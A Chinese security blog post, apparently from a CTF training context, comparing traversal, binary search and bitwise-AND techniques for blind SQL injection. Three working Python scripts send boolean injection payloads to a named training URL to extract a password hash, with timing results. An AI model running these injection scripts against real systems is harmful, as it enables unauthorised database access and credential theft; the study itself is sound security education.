sql盲注效率分析

admin 2022年1月6日01:43:52安全博客评论10 views4269字阅读14分13秒阅读模式

首发于先知社区https://xz.aliyun.com/t/7575

一、概述

sql盲注是sql注入的一种,它不会根据你的sql注入语句来返回你想要知道的错误信息。

盲注可分为两种:

  • 布尔盲注: 根据注入语句返回Ture和False
  • 时间盲注: 界面的返回值只有True.加入特定的时间函数,查看web页面返回的时间差来判断注入语句的正确性。

因为数据库里的信息无法通过错误信息得到,所以只能通过盲注爆破猜解一个个字符值。
常见的猜解方法有三种:

  • 遍历法
  • 二分法
  • 与运算

二、方法介绍

1.遍历法

通过遍历可打印字符串0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!'#$%&()*+,-./:;<=>[email protected][]^_{|}~
来猜解正确的字符值

1
2
3
4
5
6
7
def traversing(char):
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!'#$%&()*+,-./:;<=>[email protected][]^_{|}~"
for i in chars:
if i==char:
print(i)
return
traversing('t')

效率分析:

T(n)=(n+1)/2,这里的n为可打印字符串的长度,这里n为91,则确定一个字符值的大小平均要比较运算46次

2.二分法

可打印字符的 ASCII码的值范围大概在0x20和0x7f区间内。

(1)首先取区间的中间值mid跟目标元素的ascii码值对比,如果相等则结束搜索。
(2)如果目标元素的ascii码值小于mid,则在小于mid的区间内查找,否则在大于mid的区间查找,重复(1)
(3)如果找不到则退出

1
2
3
4
5
6
7
8
9
10
11
12
13
def binary(char):
left=0x20
right=0x7f
while 1:
mid=left+(right-left)//2
if left==mid:
print(chr(mid)
return
if mid>ord(char):
right=mid
else:
left=mid
binary('t')

效率分析:

T(n)=log2 n,n=0x7f-0x20=95,则确定一个字符平均比较次数为6.6次。

3.与运算

运算规则:

0 & 0 = 0
0 & 1 = 0
1 & 0 = 0
1 & 1 = 1

即:两位同时为“1”,结果才为“1”,否则为0

一个byte有8bit,假设8bit的低位到高位的值a、b、c、d、e、f、g、h,并且其值只能为0,1两种,其值大小为
a*2^0+b*2^1+c*2^2+d*2^3+e*2^4+f*2^5+g*2^6+h*2^7。所以我们只要将其值大小分别于1,2,4,8,16,32,64,128进行与运算,就能够确定每bit位的值,从而猜出其值大小。对于可打印字符的值小于127,最高bit为为0,所以只要比较7次就行了。

1
2
3
4
5
6
7
def and_operation(char):
sum=0
for i in range(7):
if ord(char)&2**i:
sum=sum+2**i
print(chr(sum))
andOperation('t')

效率分析:

T(n)=7,一个字符值大小需要比较7次确认。

从上面的效率分析中,遍历法需要平均比较46次,二分法需要平均比较6.6次,与运算需要7次,因为http请求的时间开销会相对大,因此http请求次数越少,花费的时间会越少,所以sql盲注的效率大小为

二分法>=与运算> 遍历法

三、盲注实例

这里拿HFSEC平台的一道sql盲注,分别用三种不同的解法来对比一下效率

遍历法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time
from functools import wraps

def spend_time(func):
@wraps(func)
def wrapper(*agrs,**kwargs):
startTime=time.time()
func(*agrs,**kwargs)
endTime=time.time()
sumTime=endTime-startTime
print("spend time:",sumTime)
return wrapper
@spend_time
def traversing():
url="http://111.230.11.183:44444/basic_skills/sql/sql3.php"
chars="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!'#$%&()*+,-./:;<=>[email protected][]^_{|}~"
flag_payload= "a' or 1 and ascii(substr((select password from user limit 0,1),{0},1))={1} -- "
info=""
for i in range(33):
for char in chars:
payload=flag_payload.format(i,ord(char))
data={
"username": payload,
"password":"ye1s"
}
rep=requests.post(url=url,data=data,allow_redirects=False)
if rep.status_code==302:
info=info+char
print(info)
if __name__=="__main__":
traversing()

运算结果

1
2
40356E66E78BB1DC1EFBC04FA4336F59
spend time: 207.9748649597168

二分法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
from functools import wraps

def spend_time(func):
@wraps(func)
def wrapper(*agrs,**kwargs):
startTime=time.time()
func(*agrs,**kwargs)
endTime=time.time()
sumTime=endTime-startTime
print("spend time:",sumTime)
return wrapper
@spend_time
def binary():
url="http://111.230.11.183:44444/basic_skills/sql/sql3.php"
flag_payload= "a' or 1 and ascii(substr((select password from user limit 0,1),{0},1))<{1} -- "
info=""
for i in range(1,33):
left=0x2
right=0x7f
while 1:
mid=left+(right-left)//2
if mid==left:
info=info+chr(mid)
print(info)
break
payload=flag_payload.format(i,mid)
data={
"username": payload,
"password":"ye1s"
}
rep=requests.post(url=url,data=data,allow_redirects=False)
if rep.status_code==302:
right=mid
else:
left=mid
if __name__=="__main__":
binary()

运行结果

1
2
40356E66E78BB1DC1EFBC04FA4336F59
spend time: 14.131437301635742

与运算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests
import time
from functools import wraps

def spend_time(func):
@wraps(func)
def wrapper(*agrs,**kwargs):
startTime=time.time()
func(*agrs,**kwargs)
endTime=time.time()
sumTime=endTime-startTime
print("spend time:",sumTime)
return wrapper

@spend_time
def and_operation():
url="http://111.230.11.183:44444/basic_skills/sql/sql3.php"
flag_payload= "a' or 1 and ascii(substr((select password from user limit 0,1),{0},1))&{1} -- "
info=""
for j in range(1,33):
value=0
for k in range(7):
payload=flag_payload.format(j,2**k)
data={
"username": payload,
"password":"ye1s"
}
rep=requests.post(url=url,data=data,allow_redirects=False)
if rep.status_code==302:
value=value+(2**k)
if value==0:
break
info=info+chr(value)
print(info)
if __name__=="__main__":
and_operation()

运算结果

1
2
40356E66E78BB1DC1EFBC04FA4336F59
spend time: 15.214633703231812

从三种的不同解法的运算结果时间来看,遍历法花费了207秒、二分法花费了14秒,与运算花费了15秒。花费的时间还会受到网速和其他因素的影响,不是每次运行都会花费相同的时间,但总的结果来说,遍历法花费的时间很多,二分法和与运算花费的时间比较少。 所以在遇到sql盲注时,建议用二分法和与运算来猜解。

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:43:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  sql盲注效率分析 http://cn-sec.com/archives/722452.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: